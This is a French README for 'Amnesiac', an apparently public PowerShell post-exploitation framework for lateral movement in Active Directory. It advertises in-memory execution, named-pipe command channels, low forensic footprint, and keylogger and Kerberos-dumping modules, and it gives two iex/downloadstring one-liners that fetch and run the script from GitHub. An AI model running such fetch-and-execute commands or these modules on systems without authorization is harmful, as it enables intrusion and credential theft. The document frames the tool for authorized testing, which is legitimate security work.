leo4j/amnesiacFramework de post-exploitation basé sur PowerShell pour le mouvement latéral dans les environnements Active Directory. S'exécute en mémoire avec des canaux de commande par tube nommé et des outils de post-exploitation modulaires.
Amnesiac est un framework de post-exploitation conçu pour faciliter le mouvement latéral au sein d'environnements Active Directory.
Amnesiac est développé pour combler une lacune sur Windows OS, où les frameworks de post-exploitation ne sont pas facilement disponibles sauf s'ils sont explicitement installés. En effet, il est entièrement écrit en PowerShell, et peut être chargé et exécuté en mémoire, comme n'importe quel autre script PowerShell.
Si vous trouvez Amnesiac utile et que vous aimez ce projet, veuillez envisager de nous donner une étoile sur GitHub. Votre soutien motive le développeur à continuer d'améliorer et de maintenir ce projet.
Veuillez lire la documentation pour tirer le meilleur parti d'Amnesiac : https://leo4j.gitbook.io/amnesiac/
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/Amnesiac/main/Amnesiac.ps1');Amnesiac
Si vous devez exécuter Amnesiac via un shell, utilisez Amnesiac_ShellReady.ps1 | Pas de couleurs, compatible shell
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/Amnesiac/refs/heads/main/Amnesiac_ShellReady.ps1');Amnesiac
Amnesiac envoie des commandes et reçoit des sorties via des Named Pipes, garantissant des activités de post-exploitation discrètes et efficaces.
Contrairement aux frameworks traditionnels, Amnesiac ne nécessite pas d'installation. Il fonctionne entièrement en mémoire, réduisant ainsi le risque de détection et l'empreinte forensique.
Amnesiac est conçu avec la simplicité d'utilisation à l'esprit. Il offre une interface conviviale, le rendant accessible et efficace pour les débutants comme pour les utilisateurs expérimentés.
Amnesiac est équipé d'une gamme de modules de post-exploitation, allant des keyloggers aux outils de dump de tickets Kerberos. Ces modules peuvent être intégrés de manière transparente dans vos workflows de test et d'évaluation.
Amnesiac s'appuie sur quelques autres projets pour ses modules. Dans chaque module, vous trouverez des informations de référence, garantissant une attribution appropriée aux créateurs originaux.
Les contributions et les retours de la communauté sont vivement encouragés et appréciés.
Regardez sur YouTube 👇
Amnesiac est distribué sous la licence GPL-3.0. Veuillez consulter la licence pour les détails concernant l'utilisation et la redistribution.
Amnesiac est destiné exclusivement à la recherche, à l'éducation et aux tests autorisés. Son objectif est d'aider les professionnels et les chercheurs à identifier les vulnérabilités et à renforcer la sécurité des systèmes.
Les utilisateurs doivent obtenir le consentement explicite et mutuel de toutes les parties concernées avant d'utiliser cet outil sur tout système, réseau ou environnement numérique, car des activités non autorisées peuvent entraîner de graves conséquences juridiques. Les utilisateurs sont responsables du respect de toutes les lois et réglementations applicables en matière de cybersécurité et d'accès numérique.
Le créateur d'Amnesiac décline toute responsabilité en cas d'utilisation abusive ou illicite de l'outil et n'est pas responsable des dommages ou pertes qui en résulteraient.
LE LOGICIEL EST FOURNI « EN L'ÉTAT », SANS GARANTIE D'AUCUNE SORTE, EXPRESSE OU IMPLICITE, Y COMPRIS MAIS SANS S'Y LIMITER LES GARANTIES DE QUALITÉ MARCHANDE, D'ADÉQUATION À UN USAGE PARTICULIER ET D'ABSENCE DE CONTREFAÇON. EN AUCUN CAS LES AUTEURS OU TITULAIRES DE DROITS D'AUTEUR NE POURRONT ÊTRE TENUS RESPONSABLES DE TOUTE RÉCLAMATION, DOMMAGE OU AUTRE RESPONSABILITÉ, QUE CE SOIT DANS LE CADRE D'UNE ACTION CONTRACTUELLE, DÉLICTUELLE OU AUTRE, DÉCOULANT DU LOGICIEL OU DE SON UTILISATION OU D'AUTRES OPÉRATIONS EFFECTUÉES AVEC LE LOGICIEL.